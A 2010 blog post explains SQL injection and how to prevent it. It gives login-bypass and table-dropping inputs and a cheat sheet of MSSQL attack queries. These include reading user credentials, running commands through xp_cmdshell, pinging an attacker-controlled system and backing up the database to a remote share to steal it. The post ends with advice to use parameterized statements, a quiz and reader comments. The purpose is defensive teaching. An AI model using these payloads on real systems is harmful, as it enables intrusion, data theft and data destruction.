Sunday, November 14, 2010

Prevent SQL injection attacks and Data breach

A SQL injection attack is insertion of a SQL query through the input data to the application. It represents a serious threat to any database-driven site. SQL injection attacks are also known as SQL insertion attacks.

A SQL injection occurs when the application fails to properly validate user-supplied input used in SQL queries. In this way a hacker can manipulate the SQL statement that is passed to the database. This statement will run with the same permissions as the application that executed the query.

It is an instance of vulnerabilities that can occur whenever we use dynamic SQL.
Websites of many banks, credit unions, smaller online retailers, and many government agencies remain highly vulnerable to SQL injection attacks.

Some of the real world examples:
8th November 2010: (BBC News)
December 2009: (The New York Times)

Most of the application will have a login screen and we construct dynamic SQL statement with the screen input as follows:
FROM Users
WHERE login = 'bala' and password = 'dBa#1';

If the attacker modifies the user name supplied as bala' or 1=1; -- then the code will be as follows:
FROM Users
WHERE login = 'bala' or 1=1;
--and password = 'dBa#1';

If the above statement executes, the attacker can gain access to the database as 1=1 is always true.
The attacker could log on as any user, given that they know the users name, using the following input:

Username: admin'--

If the user specifies the following:

Username: '; drop table users--

the 'users' table will be deleted, denying access to the application for all users.

Not only this, a successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), and execute administration operations on the database (such as shutdown the service). Some of them are listed as follows:
select @@version
View database version.
select @@servername
Misc. information disclosure
select @@microsoftversion
Misc. information disclosure
select * from master..sysservers
Misc. information disclosure
select * from sysusers
View database usernames and passwords.
exec master..xp_cmdshell 'ipconfig+/all'
Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell 'net+view'
Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell 'net+users'
Misc. command execution with cp_cmdshell.
exec master..xp_cmdshell 'ping+system-controlled-by-attacker'
Misc. command execution with cp_cmdshell – this is useful for blind SQL Injection tests (where no results are displayed).
BACKUP database master to disks='\\{IP}\{sharename}\backupdb.dat'
Backup entire database to a file. This attack can be used to steal a database.
create table myfile (line varchar(8000))" bulk insert foo from ‘c:\inetpub\wwwroot\auth.asp’" select * from myfile"–
Reading files on the filesystem.
xp_servicecontrol (START or STOP) <service>
Start and stop Windows Services.
str1 + str2 OR n+n
Concat strings for blind SQL Injection tests.

exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

SQL attacks were done manually. The hacker would try different database queries from the browser or from pages displaying web forms, until he successfully injected code into the underlying database. These types of attacks are still done, but on a smaller scale compared to the automated SQL infection/attacks that have come on strong.

To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, parameterized statements must be used (preferred), or user input must be carefully escaped or filtered.

1.       Which of the following will protect your database against SQL injection attacks?
a)      Triggers.
b)      Views.
c)       Stored Procedures using parameters.
d)      Stored procedures not using parameters.

Show Answers:


  1. Very useful post.
    I have faced this issue in my project.
    Finally found the solution (Stored Procedures using parameters).


  2. thank to secure mysql database. Is encrypting the data and storing in database is good technique from preventing from sql injection???? After encrypting data using sql statement is good technique?? and decrypting data before display.....

  3. Encrypting the critical data can prevent from viewing the data but it cannot protect the data and database. Use stored procedures with parameters which can protect database against SQL injection attacks.